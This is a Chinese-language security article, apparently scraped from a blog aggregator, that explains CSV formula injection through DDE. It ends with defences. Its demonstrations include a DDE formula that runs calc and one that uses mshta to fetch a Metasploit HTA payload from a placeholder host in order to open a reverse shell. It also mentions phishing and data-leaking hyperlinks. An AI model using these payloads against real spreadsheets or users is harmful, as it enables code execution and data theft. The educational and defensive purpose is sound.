CSV文件注入漏洞簡析

 

「對於網絡安全來講,一切的外部輸入均是不可信的」。可是CSV文件注入漏洞確時常被疏忽,究其緣由,多是由於咱們腦海裏的第一印象是把CSV文件看成了普通的文本文件,未能引發警戒。shell

1、漏洞定義瀏覽器

攻擊者經過在CSV文件中構造惡意的命令或函數,使得正經常使用戶在使用Excel打開這個CSV文件後惡意的命令或函數被執行,從而形成攻擊行爲。安全

2、漏洞產生的緣由服務器

一、CSV文件中的幾個特殊符號「+、-、@、=」網絡

嘗試在CSV單元格中輸入「=1+1」,回車後,發現單元格的值變成了2,說明加號被當作運算執行了。函數

 

除了加號,「-」、「@」、「=」也會被解釋爲公式。網站

二、DDE(Dynamic Data Exchange)spa

DDE是Windows下進程間通訊協議,是一種動態數據交換機制,使用DDE通信須要兩個Windows應用程序,其中一個做爲服務器處理信息,另一個做爲客戶機從服務器得到信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook均可以使用這種機制,根據外部應用的處理結果來更新內容。所以,若是咱們製做包含DDE公式的CSV文件,那麼在打開該文件時,Excel就會嘗試執行外部應用操作系統

3、漏洞演示日誌

一、OS命令執行

經過在CSV文件中構建DDE公式,能夠調用CMD達到執行操做系統命令的目的。

以下圖所示,在單元格中輸入1+cmd|’/C calc’!A0,回車後Excel會彈出一個框,提醒Excel須要啓動另一個程序(cmd),點擊是,Windows會彈出計算器窗口。

利用Metasploit能夠生成payload,可使用下面的注入執行payload,從而達到反彈shell的目的。

=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0

所以,利用這種漏洞危害,咱們能夠在用戶的操做系統上執行添加用戶、開啓任意程序、操做註冊表、反彈shell等命令。

二、跳轉至釣魚網站

當用戶點擊下面連接時,會使用IE瀏覽器打開攻擊者提供的釣魚網站,起到釣魚的目的。

 

三、信息泄露

經過在CSV文件中注入超連接函數,當用戶打開文件並點擊連接時,能夠把指定的單元格內容提交到指定網址(以下提交A2/A3單元格的內容)。

 

4、漏洞發生的場景

當網站提供CSV文件導出功能時,若是用戶能夠控制CSV文件的內容,就可能發送此類攻擊。

好比攻擊者能夠在登陸輸入框、以及其餘的查詢、寫入功能中注入惡意命令,當管理員使用CSV格式導出網站日誌時,就可能發生此類攻擊。

5、漏洞防護

一、確保單元格不以特殊字符(「+、-、@、=」)開頭;

二、對單元格的內容進行特殊字符(「+、-、@、=」)過濾;

三、先對原始輸入內容進行轉義(雙引號前多加一個雙引號),而後在添加tab鍵和雙引號防止注入;

四、禁止導出CSV、Excel格式;

五、導出爲Excel格式前,利用代碼把單元格的格式設置爲文本(對CSV不生效)。

防護措施面臨的困難:

一、對單元格內容進行處理勢必會改變原始內容,對於須要數據導出後在導入其餘系統進行執行的場景,對業務會有影響;

二、對於數據量大的場景,若是在導出進行過濾、轉義等操做,會影響導出效率。

相關文章
相關標籤/搜索